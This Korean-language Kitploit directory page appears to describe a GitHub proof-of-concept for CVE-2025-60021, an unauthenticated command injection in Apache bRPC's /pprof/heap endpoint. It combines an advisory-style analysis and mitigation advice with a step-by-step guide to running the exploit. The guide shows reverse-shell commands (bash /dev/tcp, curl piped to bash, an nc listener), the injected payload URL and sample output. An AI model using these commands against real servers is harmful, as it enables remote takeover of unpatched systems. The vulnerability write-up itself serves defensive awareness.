Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Ashwesker-CVE-2025-60021 — CVE-2025-60021 | Kitploit
도구/GitHubGitHub/mefhika120/ashwesker-cve-2025-60021
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationRed TeamingPayload Development
GitHubmefhika120/ashwesker-cve-2025-60021

Ashwesker-CVE-2025-60021

CVE-2025-60021

저장소 보기
27개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🛑 CVE-2025-60021 — Apache bRPC 원격 명령어 삽입

G_GmijOXQAAX5iE

📌 개요

CVE-2025-60021는 Apache bRPC 버전 1.15.0 이전의 힙 프로파일러 내장 서비스 (/pprof/heap)에서 발견된 심각한 원격 명령어 삽입 취약점으로, 인증되지 않은 공격자가 임의의 OS 명령어를 실행할 수 있습니다. (NVD)


🔓 취약점 세부 정보

도구 다운로드
속성정보
이름 / IDCVE-2025-60021
제품Apache bRPC (모든 플랫폼)
영향 받는 버전< 1.15.0
발표일2026년 1월 16일 (NVD)
취약점 유형원격 명령어 삽입 (CWE-77) (NVD)
엔드포인트/pprof/heap
트리거정제되지 않은 extra_options 매개변수
근본 원인OS 명령어로 실행하기 전에 입력이 검증되지 않음 (openwall.com)

❗공격자는 이 프로파일링 매개변수를 조작하여 원격으로 명령어를 삽입할 수 있습니다.


🚨 심각도 및 위험

🔥 심각도 등급: Critical 📊 CVSS v3.1 Base Score: 9.8 / 10 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)

영향 범주효과
기밀성High
무결성High
가용성High
공격 벡터Network
권한None required
사용자 상호작용None needed(INCIBE)

👉 즉, 공격자는 로그인 없이 원격으로 임의의 명령어를 실행할 수 있으며, 이는 노출된 서비스에 최악의 시나리오입니다.


🧠 기술적 분석

🔍 작동 방식

  1. 힙 프로파일러 노출: bRPC는 메모리 분석(jemalloc)을 위한 프로파일링 엔드포인트(/pprof/heap)를 노출합니다. (openwall.com)
  2. 입력 처리 버그: 엔드포인트는 extra_options 매개변수를 허용합니다. 이를 정제하지 않고 bRPC는 OS 셸에 직접 전달합니다. (openwall.com)
  3. 명령어 삽입: 악의적인 행위자가 시스템 명령어를 포함한 입력을 제작 → 서비스가 이를 실행합니다. (CVE Details)

CVE-2025-60021 PoC 스크립트 사용 단계별 가이드

이 가이드는 스크립트가 CVE-2025-60021.py로 저장되어 있다고 가정합니다(실제 CVE는 2025-60021이지만 원하는 대로 이름을 변경해도 됩니다). 이는 Apache bRPC의 힙 프로파일러에서 원격 명령어 삽입 취약점을 시연하기 위한 Python 3 스크립트입니다. 소유한 시스템이나 명시적 서면 허가를 받은 시스템에서만 실행하세요—허가 없이 악용하는 것은 불법입니다.

사전 요구 사항

  1. Python 환경: Python 3(예: 3.6+)이 설치되어 있는지 확인하세요. 스크립트는 내장 모듈과 requests 및 argparse(표준 또는 설치가 쉬움)를 사용합니다.

  2. 종속성 설치: 아직 설치되지 않은 경우 requests 라이브러리를 설치하세요:

    root@kitploit:~
    pip install requests
    
  3. 대상 설정: 취약한 Apache bRPC 서버가 필요합니다:

    • 버전 < 1.15.0.
    • 힙 프로파일러 활성화 (서버 구성 확인; 개발 설정에서 기본적으로 켜져 있는 경우가 많음).
    • 네트워크를 통해 접근 가능 (예: http://localhost:8060 또는 원격 IP/포트). 로컬에서 테스트하는 경우, 취약한 bRPC 인스턴스를 설정하세요 (예: Docker 또는 소스 빌드—Apache bRPC 문서 참조).
  4. 권한: 네트워크 접근이나 권한이 필요한 경우에만 sudo로 실행하고, 그렇지 않으면 일반 python3으로 충분합니다.

1단계: 스크립트 저장

앞서 제공한 PoC 코드를 CVE-2025-60021.py 파일로 복사하세요. 원한다면 실행 권한을 부여하세요:

root@kitploit:~
chmod +x CVE-2025-60021.py

2단계: 인수 이해

스크립트는 두 개의 필수 위치 인수를 받습니다:

  • target: 취약한 bRPC 서버의 URL (예: http://192.168.1.100:8060 또는 http://targets:8060—누락된 스킴이나 잘못된 호스트 등의 오타 수정).
  • cmd: 대상에서 실행할 명령어 (예: 사용자 정보를 위한 "id", 또는 역방향 셸을 위한 "curl http://your-server/reverse-shell.sh | bash"와 같은 더 복잡한 명령어). 여러 명령어를 연결하려면 && 또는 ;를 사용하세요.

3단계: 스크립트 실행

터미널을 열고(예: 사용 중인 Kali Linux), 대상과 명령어를 지정하여 실행하세요. 예제 명령어:

  • 기본 테스트 (시스템 정보 확인):

    root@kitploit:~
    sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
    
  • 역방향 셸 예제 (your-listener-ip와 포트를 바꾸고, 먼저 nc -lvnp 4444와 같은 리스너를 설정하세요):

    root@kitploit:~
    sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
    
  • HTTPS를 사용하거나 다른 포트를 사용하는 경우 URL을 적절히 조정하세요 (예: https://target:443—스크립트가 처리하지만 인증서 문제가 있으면 --insecure 추가).

4단계: 출력 해석

성공 지표:

  • 익스플로트 성공 가능성 높음! (200 OK)
  • 응답 본문에 명령어 출력 가능 (예: id 실행 시 uid=0(root)...).
  • 출력이 없는 명령어(예: 파일 쓰기 또는 셸)의 경우 대상 서버(로그, 프로세스) 또는 리스너를 확인하세요.

실패 지표 (보았던 것과 같은):

  • 상태 코드 404 수신 - 취약하지 않을 가능성?
  • "[E1002] Heap profiler is not enabled"와 같은 오류 메시지는 엔드포인트가 활성화되지 않았음을 의미—대상에서 활성화하거나 다른 취약한 인스턴스를 찾으세요.
  • 시간 초과 또는 연결 오류: 대상에 접근 불가, 방화벽 차단, 또는 잘못된 포트.
  • 출력이 누출되지 않더라도 명령어는 서버에서 조용히 실행됩니다.

5단계: 일반적인 문제 해결

  • 404 오류: 힙 프로파일러 비활성화. bRPC 구성에서 활성화(예: --enable_heap_profiler=true)하고 서버를 다시 시작하세요.
  • Argparse 오류: cmd 인수를 잊었습니다—항상 포함하세요.
  • 응답 본문 출력 없음: 일부 명령어는 stdout을 생성하지 않습니다. 출력이 있는 명령어(예: echo "test" > /tmp/proof.txt)를 사용하고 대상에서 파일을 확인하세요.
  • 권한: bRPC 프로세스가 root가 아닌 사용자로 실행되면 명령어는 해당 사용자의 권한으로 제한됩니다.
  • 페이로드 조정: ;가 작동하지 않으면 && 또는 |를 시도하여 연결하세요. 필요한 경우 특수 문자를 URL 인코딩하세요 (스크립트는 대부분 처리).
  • 로컬 테스트: 실제 시스템을 위험에 빠뜨리지 않고 확인하려면 취약한 Docker 컨테이너를 실행하세요.

6단계: 정리 및 윤리적 주의사항

  • 테스트 후 대상을 패치하세요: bRPC 1.15.0+로 업그레이드하거나 /pprof/heap을 비활성화하세요.
  • 생성된 모든 아티팩트(예: 셸 또는 파일)를 삭제하세요.
  • 침투 테스트 시 규정 준수를 위해 테스트를 기록하세요.

취약한 대상(예: 힙 프로파일러 활성화, 패치되지 않은 bRPC <1.15.0)에서 익스플로트가 성공한 경우, 터미널 출력은 다음과 같을 것입니다 (정확한 세부 사항은 명령어의 stdout 및 서버 구성에 따라 다름):

root@kitploit:~
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output

Response body (possible command output):

uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux

[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]

주요 징후: 200 OK 상태, 그리고 명령어(예: id && whoami && uname -a)가 출력을 생성하는 경우 응답 본문에 나타날 수 있습니다(프로파일러 쓰레기와 혼합됨). 조용한 명령어(예: 역방향 셸)의 경우 대상 서버 또는 리스너에서 활동을 확인하세요—200 외에 직접적인 터미널 확인은 없습니다. 😈


🛠 완화 및 수정

✅ 기본 해결책

  • 👉 Apache bRPC를 버전 1.15.0 이상으로 업그레이드. (NVD)

🧩 대체 수정

  • 🛠 공식 패치를 Apache bRPC GitHub 저장소에서 수동으로 적용하세요 (Pull Request #3101). (openwall.com)

🔒 추가 보호 조치

  • 방화벽 / ACL: 신뢰할 수 없는 네트워크에서 /pprof/heap에 대한 접근을 차단합니다.
  • 프로파일링 비활성화: 필요하지 않은 곳에서 힙 프로파일링을 끕니다.
  • 로그 모니터링: 비정상적인 프로파일러 활동을 감시합니다.

💡 왜 위험한가

✔ 공격자는 자격 증명이 필요하지 않습니다. ✔ 네트워크를 통해 작동합니다. ✔ 취약한 bRPC를 사용하는 모든 플랫폼에 영향을 미칩니다. ✔ 전체 시스템 손상으로 이어질 수 있습니다.

bRPC를 중요한 서비스(예: 검색, 저장, 기계 학습 파이프라인)에 사용하는 기업은 특히 위험합니다. 이 결함이 진단 도구를 공격 벡터로 바꾸기 때문입니다. (Daily CyberSecurity)


🧾 추가 참고 사항

⚠ EPSS (익스플로트 예측): 일부 피드에서는 현재까지 익스플로트 관찰이 낮다고 나타내지만, 익스플로트의 용이성으로 인해 실제 공격에 빠르게 활용될 수 있습니다. (Tenable®)

📌 분류: CWE-77 — 명령어 내 특수 요소의 부적절한 중립화 (명령어 삽입). (NVD)


📎 참고 자료

  • NIST/NVD CVE-2025-60021 취약점 항목 (NVD)
  • Apache 및 Openwall 보안 권고 세부 정보 (openwall.com)
  • INCIBE-CERT CVSS 및 지표 분석 (INCIBE)
  • CVE Details 개요 (영향 받는 버전 및 수정 지침) (CVE Details)

프로덕션 환경에서 Apache bRPC를 실행 중이라면 위험을 줄이기 위해 즉시 패치하고 진단 엔드포인트에 대한 접근을 제한하세요.